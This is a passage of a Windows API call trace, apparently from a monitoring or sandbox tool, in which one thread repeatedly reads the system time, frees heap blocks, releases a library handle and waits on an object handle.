lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x333afe10, dwHighDateTime=0x1d9eb0c)) [0200.427] free (_Block=0x20abc281ba0) [0200.427] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0200.427] free (_Block=0x20abc2867b0) [0200.428] free (_Block=0x20abc27cf80) [0200.428] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x333afe10, dwHighDateTime=0x1d9eb0c)) [0200.435] free (_Block=0x20abc281ac0) [0200.436] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0200.436] free (_Block=0x20abc2867b0) [0200.437] free (_Block=0x20abc27cf80) [0200.437] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.783] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3371d277, dwHighDateTime=0x1d9eb0c)) [0200.783] free (_Block=0x20abc281dc0) [0200.783] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0200.784] free (_Block=0x20abc2867b0) [0200.785] free (_Block=0x20abc27cf80) [0200.785] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.785] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.918] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3384e4fa, dwHighDateTime=0x1d9eb0c)) [0200.918] free (_Block=0x20abc281e60) [0200.918] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0200.920] free (_Block=0x20abc2867b0) [0200.921] free (_Block=0x20abc27cb20) [0200.921] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.928] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x33874bc1, dwHighDateTime=0x1d9eb0c)) [0200.929] free (_Block=0x20abc281960) [0200.929] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0200.930] free (_Block=0x20abc2867b0) [0200.930] free (_Block=0x20abc2a80a0) [0200.931] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3389ae99, dwHighDateTime=0x1d9eb0c)) [0200.943] free (_Block=0x20abc281f20) [0200.943] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0200.944] free (_Block=0x20abc2867b0) [0200.945] free (_Block=0x20abc27cb20) [0200.945] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x33ad6ef3, dwHighDateTime=0x1d9eb0c)) [0201.173] free (_Block=0x20abc281d80) [0201.173] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0201.174] free (_Block=0x20abc2867b0) [0201.175] free (_Block=0x20abc27cf80) [0201.175] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.176] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.397] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x33ced0cc, dwHighDateTime=0x1d9eb0c)) [0201.397] free (_Block=0x20abc282040) [0201.397] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0201.400] free (_Block=0x20abc2867b0) [0201.401] free (_Block=0x20abc27cb20) [0201.401] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x33f02f91, dwHighDateTime=0x1d9eb0c)) [0201.610] free (_Block=0x20abc281b20) [0201.610] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0201.611] free (_Block=0x20abc2867b0) [0201.612] free (_Block=0x20abc27cf80) [0201.612] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.612] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.761] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3405aabf, dwHighDateTime=0x1d9eb0c)) [0201.761] free (_Block=0x20abc281c20) [0201.762] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0201.762] free (_Block=0x20abc2867b0) [0201.763] free (_Block=0x20abc27cf80) [0201.763] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x34080a92, dwHighDateTime=0x1d9eb0c)) [0201.768] free (_Block=0x20abc2819c0) [0201.768] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0201.769] free (_Block=0x20abc2867b0) [0201.769] free (_Block=0x20abc27cf80) [0201.770] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.775] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x34080a92, dwHighDateTime=0x1d9eb0c)) [0201.775] free (_Block=0x20abc281de0) [0201.776] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0201.776] free (_Block=0x20abc2867b0) [0201.777] free (_Block=0x20abc27cb20) [0201.777] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x340ccab4, dwHighDateTime=0x1d9eb0c)) [0201.799] free (_Block=0x20abc281ea0) [0201.799] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0201.800] free (_Block=0x20abc2867b0) [0201.801] free (_Block=0x20abc27cb20) [0201.801] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x340ccab4, dwHighDateTime=0x1d9eb0c)) [0201.809] free (_Block=0x20abc281fa0) [0201.809] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0201.810] free (_Block=0x20abc2867b0) [0201.811] free (_Block=0x20abc27cb20) [0201.811] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0201.996] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x34296662, dwHighDateTime=0x1d9eb0c)) [0201.997] free (_Block=0x20abc281e80) [0201.997] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0201.998] free (_Block=0x20abc2867b0) [0201.998] free (_Block=0x20abc27cb20) [0201.998] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x342bca1e, dwHighDateTime=0x1d9eb0c)) [0202.010] free (_Block=0x20abc281f60) [0202.010] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0202.010] free (_Block=0x20abc2867b0) [0202.011] free (_Block=0x20abc27cf80) [0202.011] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x342e2e87, dwHighDateTime=0x1d9eb0c)) [0202.018] free (_Block=0x20abc2820c0) [0202.018] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0202.018] free (_Block=0x20abc2867b0) [0202.019] free (_Block=0x20abc27cb20) [0202.019] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x342e2e87, dwHighDateTime=0x1d9eb0c)) [0202.030] free (_Block=0x20abc281c00) [0202.030] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0202.031] free (_Block=0x20abc2867b0) [0202.031] free (_Block=0x20abc27cf80) [0202.032] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x345450fa, dwHighDateTime=0x1d9eb0c)) [0202.269] free (_Block=0x20abc281ce0) [0202.269] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0202.270] free (_Block=0x20abc2867b0) [0202.270] free (_Block=0x20abc2a8a00) [0202.270] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x345450fa, dwHighDateTime=0x1d9eb0c)) [0202.280] free (_Block=0x20abc281ba0) [0202.280] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0202.281] free (_Block=0x20abc2867b0) [0202.281] free (_Block=0x20abc27cf80) [0202.282] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.311] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.311] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x34781593, dwHighDateTime=0x1d9eb0c)) [0202.504] free (_Block=0x20abc281e60) [0202.504] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0202.505] free (_Block=0x20abc2867b0) [0202.505] free (_Block=0x20abc27cb20) [0202.506] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x34781593, dwHighDateTime=0x1d9eb0c)) [0202.511] free (_Block=0x20abc2820e0) [0202.511] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0202.512] free (_Block=0x20abc2867b0) [0202.514] free (_Block=0x20abc27cb20) [0202.515] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.522] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x347a7605, dwHighDateTime=0x1d9eb0c)) [0202.523] free (_Block=0x20abc281ea0) [0202.523] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0202.523] free (_Block=0x20abc2867b0) [0202.524] free (_Block=0x20abc27cb20) [0202.524] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x347a7605, dwHighDateTime=0x1d9eb0c)) [0202.530] free (_Block=0x20abc281be0) [0202.530] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0202.531] free (_Block=0x20abc2867b0) [0202.531] free (_Block=0x20abc27cb20) [0202.532] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x347ce079, dwHighDateTime=0x1d9eb0c)) [0202.540] free (_Block=0x20abc281cc0) [0202.540] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0202.541] free (_Block=0x20abc2867b0) [0202.541] free (_Block=0x20abc27cb20) [0202.542] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3494b083, dwHighDateTime=0x1d9eb0c)) [0202.699] free (_Block=0x20abc281e60) [0202.700] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0202.700] free (_Block=0x20abc2867b0) [0202.701] free (_Block=0x20abc27cb20) [0202.701] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x34972228, dwHighDateTime=0x1d9eb0c)) [0202.711] free (_Block=0x20abc281aa0) [0202.711] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0202.712] free (_Block=0x20abc2867b0) [0202.712] free (_Block=0x20abc27cb20) [0202.712] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x349bda1d, dwHighDateTime=0x1d9eb0c)) [0202.736] free (_Block=0x20abc281ea0) [0202.736] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0202.737] free (_Block=0x20abc2867b0) [0202.738] free (_Block=0x20abc27cf80) [0202.739] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.739] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.931] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x34b8a2a6, dwHighDateTime=0x1d9eb0c)) [0202.931] free (_Block=0x20abc281960) [0202.931] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0202.932] free (_Block=0x20abc2867b0) [0202.933] free (_Block=0x20abc27cb20) [0202.933] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x34bad82f, dwHighDateTime=0x1d9eb0c)) [0202.945] free (_Block=0x20abc281a00) [0202.946] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0202.946] free (_Block=0x20abc2867b0) [0202.947] free (_Block=0x20abc27cf80) [0202.948] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.954] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x34bd393d, dwHighDateTime=0x1d9eb0c)) [0202.955] free (_Block=0x20abc281c20) [0202.955] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0202.956] free (_Block=0x20abc2867b0) [0202.957] free (_Block=0x20abc27cf80) [0202.957] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0202.965] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x34bd393d, dwHighDateTime=0x1d9eb0c)) [0202.965] free (_Block=0x20abc281dc0) [0202.966] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0202.966] free (_Block=0x20abc2867b0) [0202.967] free (_Block=0x20abc27cf80) [0202.968] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.329] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x34f67149, dwHighDateTime=0x1d9eb0c)) [0203.330] free (_Block=0x20abc281d40) [0203.330] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0203.331] free (_Block=0x20abc2867b0) [0203.331] free (_Block=0x20abc27cf80) [0203.332] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x34f67149, dwHighDateTime=0x1d9eb0c)) [0203.340] free (_Block=0x20abc281ba0) [0203.340] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0203.340] free (_Block=0x20abc2867b0) [0203.341] free (_Block=0x20abc27cb20) [0203.341] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.348] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x34f8d7fc, dwHighDateTime=0x1d9eb0c)) [0203.348] free (_Block=0x20abc281fa0) [0203.349] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0203.349] free (_Block=0x20abc2867b0) [0203.349] free (_Block=0x20abc27cb20) [0203.349] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.355] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x34f8d7fc, dwHighDateTime=0x1d9eb0c)) [0203.355] free (_Block=0x20abc281be0) [0203.355] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0203.356] free (_Block=0x20abc2867b0) [0203.356] free (_Block=0x20abc27cf80) [0203.356] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.624] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x35223308, dwHighDateTime=0x1d9eb0c)) [0203.625] free (_Block=0x20abc281fe0) [0203.625] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0203.626] free (_Block=0x20abc2867b0) [0203.627] free (_Block=0x20abc27cb20) [0203.627] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x35249202, dwHighDateTime=0x1d9eb0c)) [0203.634] free (_Block=0x20abc281fc0) [0203.635] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0203.635] free (_Block=0x20abc2867b0) [0203.636] free (_Block=0x20abc27cb20) [0203.637] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.643] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x35249202, dwHighDateTime=0x1d9eb0c)) [0203.644] free (_Block=0x20abc281fa0) [0203.644] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0203.645] free (_Block=0x20abc2867b0) [0203.645] free (_Block=0x20abc27cb20) [0203.646] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.655] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3526f361, dwHighDateTime=0x1d9eb0c)) [0203.656] free (_Block=0x20abc281f60) [0203.656] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0203.657] free (_Block=0x20abc2867b0) [0203.657] free (_Block=0x20abc27cf80) [0203.658] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x352956d7, dwHighDateTime=0x1d9eb0c)) [0203.672] free (_Block=0x20abc282060) [0203.672] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0203.673] free (_Block=0x20abc2867b0) [0203.674] free (_Block=0x20abc27cf80) [0203.674] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.910] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x354d1a93, dwHighDateTime=0x1d9eb0c)) [0203.910] free (_Block=0x20abc281ee0) [0203.911] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0203.911] free (_Block=0x20abc2867b0) [0203.912] free (_Block=0x20abc27cf80) [0203.913] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x354f8fde, dwHighDateTime=0x1d9eb0c)) [0203.921] free (_Block=0x20abc281c00) [0203.921] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0203.922] free (_Block=0x20abc2867b0) [0203.923] free (_Block=0x20abc27cf80) [0203.923] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.930] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3551e35f, dwHighDateTime=0x1d9eb0c)) [0203.931] free (_Block=0x20abc2819a0) [0203.931] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0203.931] free (_Block=0x20abc2867b0) [0203.932] free (_Block=0x20abc27cf80) [0203.932] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0203.940] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3551e35f, dwHighDateTime=0x1d9eb0c)) [0203.941] free (_Block=0x20abc281c80) [0203.941] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0203.942] free (_Block=0x20abc2867b0) [0203.942] free (_Block=0x20abc27cb20) [0203.943] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x35733f4b, dwHighDateTime=0x1d9eb0c)) [0204.152] free (_Block=0x20abc281f60) [0204.152] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0204.153] free (_Block=0x20abc2867b0) [0204.154] free (_Block=0x20abc27cb20) [0204.154] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x35819bc0, dwHighDateTime=0x1d9eb0c)) [0204.242] free (_Block=0x20abc281d20) [0204.242] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0204.242] free (_Block=0x20abc2867b0) [0204.243] free (_Block=0x20abc27cf80) [0204.243] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.272] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.272] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.522] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x35ac9058, dwHighDateTime=0x1d9eb0c)) [0204.523] free (_Block=0x20abc281d60) [0204.523] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0204.524] free (_Block=0x20abc2867b0) [0204.525] free (_Block=0x20abc27cb20) [0204.525] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.531] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x35ac9058, dwHighDateTime=0x1d9eb0c)) [0204.532] free (_Block=0x20abc281aa0) [0204.532] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0204.533] free (_Block=0x20abc2867b0) [0204.533] free (_Block=0x20abc27cb20) [0204.534] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.544] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x35aedbc3, dwHighDateTime=0x1d9eb0c)) [0204.545] free (_Block=0x20abc281be0) [0204.545] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0204.545] free (_Block=0x20abc2867b0) [0204.546] free (_Block=0x20abc27cb20) [0204.546] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.552] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x35aedbc3, dwHighDateTime=0x1d9eb0c)) [0204.553] free (_Block=0x20abc281f00) [0204.553] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0204.554] free (_Block=0x20abc2867b0) [0204.554] free (_Block=0x20abc27cb20) [0204.555] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.738] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x35cb772b, dwHighDateTime=0x1d9eb0c)) [0204.739] free (_Block=0x20abc281960) [0204.739] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0204.740] free (_Block=0x20abc2867b0) [0204.741] free (_Block=0x20abc27cb20) [0204.741] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0204.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x35cdda99, dwHighDateTime=0x1d9eb0c)) [0204.748] free (_Block=0x20abc281d20) [0204.748] 